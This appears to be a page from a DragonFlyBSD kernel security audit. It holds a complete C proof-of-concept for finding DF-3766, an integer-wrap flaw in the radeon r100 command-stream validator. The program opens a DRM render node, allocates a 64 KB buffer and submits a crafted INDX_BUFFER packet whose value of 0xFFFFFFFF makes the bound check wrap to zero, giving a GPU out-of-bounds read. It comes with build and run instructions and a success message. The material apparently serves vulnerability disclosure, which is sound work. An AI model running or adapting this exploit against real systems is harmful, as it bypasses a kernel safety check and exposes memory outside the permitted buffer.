⬢ DragonFlyBSD Kernel Audit
DF-3766 / df3766_indx_wrap.c
← back to finding ↓ download raw
/* DF-3766 — r100_cs_track_check_pkt3_indx_buffer() offset check
 *           (value + 1) > bo_size wraps at value == 0xFFFFFFFF -> the
 *           INDX_BUFFER bound check passes -> GPU fetches an index dword
 *           at ~4 GB offset from a small BO (GPU OOB read).
 *
 * r100.c:1909-1910:
 *      value = radeon_get_ib_value(p, idx + 2);      // full u32 from IB
 *      if ((value + 1) > radeon_bo_size(robj))       // 0xFFFFFFFF+1 == 0
 *
 * Build: cc -o df3766 df3766_indx_wrap.c
 * Run:   ./df3766 /dev/dri/renderD128
 * Success criterion: CS ioctl returns 0 (validator bypass proven).
 */
#include <sys/ioctl.h>
#include <sys/ioccom.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>

struct rr_gem_create { uint64_t size, alignment; uint32_t handle, initial_domain, flags; };
struct rr_cs_reloc   { uint32_t handle, read_domains, write_domain, flags; };
struct rr_cs_chunk   { uint32_t chunk_id, length_dw; uint64_t chunk_data; };
struct rr_cs         { uint32_t num_chunks, cs_id; uint64_t chunks, gart_limit, vram_limit; };

#define RR_GEM_CREATE           0x1d
#define RR_CS                   0x26
#define RR_IOCTL_GEM_CREATE     _IOWR('d', RR_GEM_CREATE, struct rr_gem_create) /* DF drm.h: DRM_IOCTL_BASE='d' */
#define RR_IOCTL_CS             _IOWR('d', RR_CS, struct rr_cs)
#define RR_CHUNK_ID_RELOCS      0x01
#define RR_CHUNK_ID_IB          0x02
#define RR_CHUNK_ID_FLAGS       0x03
#define RR_GEM_DOMAIN_GTT       0x2

#define PKT3(op, n)   ((3u<<30) | (((n)&0x3FFFu)<<16) | (((op)&0xFFu)<<8))
#define PKT3_NOP                0x10
#define PKT3_INDX_BUFFER        0x33

static int fd;

static int
gem_create(uint64_t size, uint32_t *handle)
{
	struct rr_gem_create gc;
	memset(&gc, 0, sizeof(gc));
	gc.size = size;
	gc.alignment = 4096;
	gc.initial_domain = RR_GEM_DOMAIN_GTT;
	if (ioctl(fd, RR_IOCTL_GEM_CREATE, &gc)) {
		perror("GEM_CREATE");
		return -1;
	}
	*handle = gc.handle;
	return 0;
}

int
main(int argc, char **argv)
{
	const char *node = argc > 1 ? argv[1] : "/dev/dri/renderD128";
	struct rr_cs_reloc relocs[1];
	struct rr_cs_chunk chunks[3];
	uint64_t chunk_ptrs[3];
	struct rr_cs cs;
	uint32_t flags[2] = { 0, 0 };
	uint32_t ib[16], ibo, n = 0;

	fd = open(node, O_RDWR);
	if (fd < 0) {
		perror(node);
		return 1;
	}
	if (gem_create(64 * 1024, &ibo))
		return 1;

	memset(relocs, 0, sizeof(relocs));
	relocs[0].handle = ibo;
	relocs[0].read_domains = RR_GEM_DOMAIN_GTT;

	memset(ib, 0, sizeof(ib));
	/* PACKET3 INDX_BUFFER: [hdr][type][addr][value]; value=0xFFFFFFFF */
	ib[n++] = PKT3(PKT3_INDX_BUFFER, 3);
	ib[n++] = 0;			/* hw format dword */
	ib[n++] = 0;			/* addr, relocated below */
	ib[n++] = 0xFFFFFFFF;		/* value: (value+1) wraps to 0 -> check passes */
	ib[n++] = PKT3(PKT3_NOP, 1);
	ib[n++] = 0;			/* reloc dword index 0 -> relocs[0] */

	memset(chunks, 0, sizeof(chunks));
	chunks[0].chunk_id = RR_CHUNK_ID_IB;
	chunks[0].length_dw = n;
	chunks[0].chunk_data = (uint64_t)(uintptr_t)ib;
	chunks[1].chunk_id = RR_CHUNK_ID_RELOCS;
	chunks[1].length_dw = 4;
	chunks[1].chunk_data = (uint64_t)(uintptr_t)relocs;
	chunks[2].chunk_id = RR_CHUNK_ID_FLAGS;
	chunks[2].length_dw = 2;
	chunks[2].chunk_data = (uint64_t)(uintptr_t)flags;
	chunk_ptrs[0] = (uint64_t)(uintptr_t)&chunks[0];
	chunk_ptrs[1] = (uint64_t)(uintptr_t)&chunks[1];
	chunk_ptrs[2] = (uint64_t)(uintptr_t)&chunks[2];

	memset(&cs, 0, sizeof(cs));
	cs.num_chunks = 3;
	cs.chunks = (uint64_t)(uintptr_t)chunk_ptrs;

	if (ioctl(fd, RR_IOCTL_CS, &cs) == 0)
		printf("VULNERABLE: CS accepted INDX_BUFFER value=0xFFFFFFFF "
		       "vs 64KB BO ((value+1) wrapped to 0)\n");
	else
		printf("rejected: %s\n", strerror(errno));
	return 0;
}